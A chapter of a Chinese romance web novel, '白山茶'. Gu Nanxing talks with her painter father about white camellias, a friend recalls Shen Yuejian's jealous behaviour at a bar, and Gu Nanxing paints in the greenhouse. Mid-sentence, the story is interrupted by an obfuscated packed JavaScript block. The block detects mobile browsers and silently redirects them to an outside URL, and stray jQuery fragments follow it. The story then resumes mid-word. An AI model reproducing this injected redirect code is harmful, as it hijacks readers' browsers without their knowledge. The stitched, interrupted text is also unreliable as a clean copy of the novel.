34. 第 34 章

作品:《白山茶

    她爸都这么说了,顾南星本来就想着要参加,如今更没理由拒绝了。


    她微笑着说,“当然。”


    苏容看着女儿,只觉得她是真的长大了,满眼都是欣慰。


    “对了,星崽。”苏容想起什么,开口问顾南星,“这件事你跟月见那孩子说了没?Inspiration比赛时间虽然算不上长,但也绝对不算短了,而且还不在国内。”


    顾南星顿了顿,脸上露出一丝不自然来,“还没有。”


    苏容端详着女儿的神情,发现了端倪,“你不会是……和那孩子吵架了吧?”


    “爸,刚刚妈也问过我了。”顾南星为苏容的迟钝而窒息,“我说了,只是一点磨合时会出现的小摩擦。”


    “啊,那就行。”苏容点点头,“看你的表情,我还以为是很大的摩擦呢。”


    顾南星:……


    有的时候觉得她爸也挺能言善辩的。


    “爸,我一会儿想去花房看看。”顾南星不想再在这个话题上绕圈子,索性换了个话题。


    “嗯?你居然想去花房了?”苏容惊讶地道,“你以前不是不爱去那吗,还说什么这里很脏那里很脏之类的糊涂话。”


    顾南星:……


    您都说了是糊涂话,为什么还要揪着不放呢?


    顾南星解释道,“因为看到爸你的这幅画。”


    她伸手指向放在桌面上的那幅画,被苏容掩盖在其他画作下的这幅画。


    “让我对白山茶这种花产生了憧憬。”


    顾南星笑了起来,眼里缀满了星星,“我又想到花房里被你种满了白山茶,就很好奇地过去看啦。”


    原来是这样。


    苏容看着女儿,面上还带着笑,心下却泛起惊涛骇浪。他曾经很长一段时间以为自己被信仰抛弃了,也很长一段时间怀疑自己是不是根本就没有绘画的天分,外界的声音于他而言根本不重要,但他先在心底否定了自己,然后放任自己继续贬低自我,直到遇见顾婉。


    顾婉不懂画,也不懂什么意蕴,她只知道好看不好看,在她眼里苏容的画就是最好看的。她丝毫不吝啬于给予苏容赞美,也丝毫不吝啬于将爱分给苏容。


    苏容于是才渐渐走出阴影。


    但是这次,他面对顾南星所说的,“因为你的画,让我对这种花产生了憧憬”而再一次真真正正地意识到绘画的意义。


    就是为了将不同的事物展现给别人看,再让看的人心有所感。


    这才是真正的、他所追求的信仰。


    苏容眨了眨眼,仿佛一瞬间与多年前的自己和解了。


    “那然后呢,你也喜欢上这种花了吗?”


    苏容听见了自己的声音。


    “当然啦,我从看到的第一眼就喜欢上了。”


    顾南星这般回答。


    ======================================


    “我说,你最近有点不对劲啊。”


    盛淮安撑着下巴,歪头看着旁边的人。


    “你前两天莫名其妙地大半夜找我喝酒,喝一半又不管不顾地要回家,还好我脾气好,把你送回家了,还没冲你发火。”


    他摇摇头,轻“啧”了声。


    白皙修长的手放下玻璃杯,因为并没有收敛动作,所以发出清脆的响声。


    手的主人慢条斯理开口,“找你出来喝酒还需要理由?”


    盛淮安被他这话噎了下,“不是我说你……”


    他刚想损他几句,见他脸上的表情,又把话咽了回去。


    沈月见面无表情地看着桌子,也不知道在想些什么,周身气场称得上可怖,与往日他人所赞扬的“温润君子”形象相差甚远。


    他们所在的这家酒吧是盛淮安哥哥闲来无事开办的,里里外外也都算是自己人,沈月见与盛淮安在这家酒吧有着属于自己的包厢。


    只不过沈月见不喜欢这种场合,也不怎么来就是了。


    盛淮安端起酒杯,一饮而尽。


    前两天的夜里,沈月见莫名其妙给他发消息,问他出不出来喝酒,这可是前所未有的稀罕事,什么时候沈月见主动找过人喝酒啊,往往都是他们几个央求他来喝一杯,他也不一定会赏脸答应。


    盛淮安一个激灵,那是觉也不睡了,一边连声应好,一边飞速换衣服,做好了与沈月见喝到天亮的准备。


    谁知道,到了酒吧后,沈月见听着耳边嘈杂的音乐就开始蹙眉,即便是盛淮安带着他到了包厢,他的眉头也不见得有半分舒展。


    盛淮安大手一挥,浩浩汤汤点了一桌子酒,脾气向来差的盛家小少爷亲自为沈月见倒酒。


    面对此情此景,沈月见只是垂着眼,不说话,也没有要去喝的意思,整个人好像入了定。


    盛淮安见着情况不对,试探性地唤了两声,“月见?月见?”


    沈月见侧了侧脸,“怎么了?”


    “你是不是,心情不好?”盛淮安见好友异常的状态,皱着眉开口,“遇到什么事了吗?”


    他是不相信沈月见能遇见什么让他陷入这种状态的事,在沈月见面前,万事都不足为惧。不是事,那便是人了。


    他于是又开口,“还是因为什么人?”


    沈月见这回才有了些动静,漆黑的眸子终于透了些光,“人……”


    他轻笑了一声,不再说话。


    盛淮安简直快好奇死了,到底是谁啊能让沈月见这个样子,等等。


    他骤然想到拜年那天,沈月见嘱咐他的事,一个不可思议的猜测缓缓爬上心口,“是……顾小姐吗?”


    这三个字一出,沈月见的目光陡然犀利,直直看向他。


    凌晨的街道逐渐沉眠,而凌晨的酒吧则是狂欢的开始。尽管身处包厢内,楼下蹦迪的音乐声也能透过隔音墙传入,足以见音乐的震耳欲聋。而此时的包厢里,盛淮安可没什么心思去想那么多,他喉结紧张地滚动了下,眼前的沈月见不同于他熟悉的斯文公子,周身似乎都发散着黑气,陌生的气场让盛淮安根本不敢乱说话,只能没出息地闭上嘴。


    不是,怎么回事啊,我不就提了顾小姐三个字吗?


    他有些后知后觉,哎?


    沈月见没给他思


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15042374|162593||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    考明白的时间,将盛满酒液的玻璃杯举起,轻轻摇晃着,倒也不喝,“为什么你会觉得是她?”


    他反问盛淮安。


    是啊,为什么是顾小姐?


    盛淮安自己也说不明白,但就看听完他说的话后沈月见的反应,那肯定是顾小姐没跑了啊!!!


    但显然,面对现在的沈月见,应该是不能随便开玩笑的。


    盛淮安小心组织着措辞,“……感觉?”


    沈月见笑了。


    笑着将手一甩,玻璃杯被扔到了地上,应声而碎,伴随着清脆的响,似乎还有什么东西也跟着一起碎掉了。


    “凭什么是她……”


    盛淮安没听清沈月见后面说的话,他的声音太小了,还把手抬起捂住了脸,声音隐隐在颤抖着。


    他是第一次见到这样的沈月见。


    那之后,沈月见也没再喝酒,只是又坐了一会,然后对盛淮安说自己想要回家了。


    盛淮安一个人自饮自酌正高兴着呢,冷不丁被他这么一说,呆住了。


    “不是,你现在要走?”他难以置信地看了看自己的腕表,“这才多久,还不到两个小时呢。”


    然后沈月见就说了一句让他永生都难以忘怀的话。


    “不早了,我还要回去给她做早饭。”


    回忆结束,盛淮安看着面前的人,摇了摇头。


    太可怕了。爱情,实在是太可怕了。


    今天下午也是沈月见把他喊了出来,自己坐在那不喝酒只盯着桌子发呆,也不知道是来干什么的。


    盛淮安一个人喝酒都快要闷出病了,跟沈月见搭话吧,他又爱答不理的,不跟他搭话吧,他一个人又实在无聊。


    可恶啊,怎么想起来答应他的,就不应该答应!


    下次遇到顾小姐铁定得加个联系方式,看看到底是个什么神人能把沈月见折腾成这幅要死要活的模样。


    ======================================


    顾南星并不知道盛淮安那边的水生火热,她正忙着在花房里给白山茶浇水。


    进入春天,山茶花的花朵会变小,与之相对的,是它的花香会更加浓郁。


    顾南星蹲下来,看着眼前一簇簇的小花,鼻息间全是好闻的花香,她弯起眼睛笑了。


    想到了什么,她又匆匆起身,跑出花房。再回来时,手里已经抱了画板与颜料盒。


    苏容有时也会在花房画画,因此在花房的角落里放了一些小马扎。


    顾南星跑过去,偷偷搬了一个马扎放到自己身边,继而抱着画板坐下。


    借她爸一个小马扎用,他应该不会计较的吧?


    顾南星调好颜料,用笔蘸取少许,在泛黄的纸张上抹下一笔。


    不带丝毫犹豫与停顿,力度的调整与转换全都把握得极丝滑,下笔、勾勒、晕染、填色……一系列动作行云流水般一气呵成。


    不知过了多久,她放下了笔,看着呈现在面前的画,长长吐出一口气。


    这是她这段时间最专注的一次,也是画的最好的一次。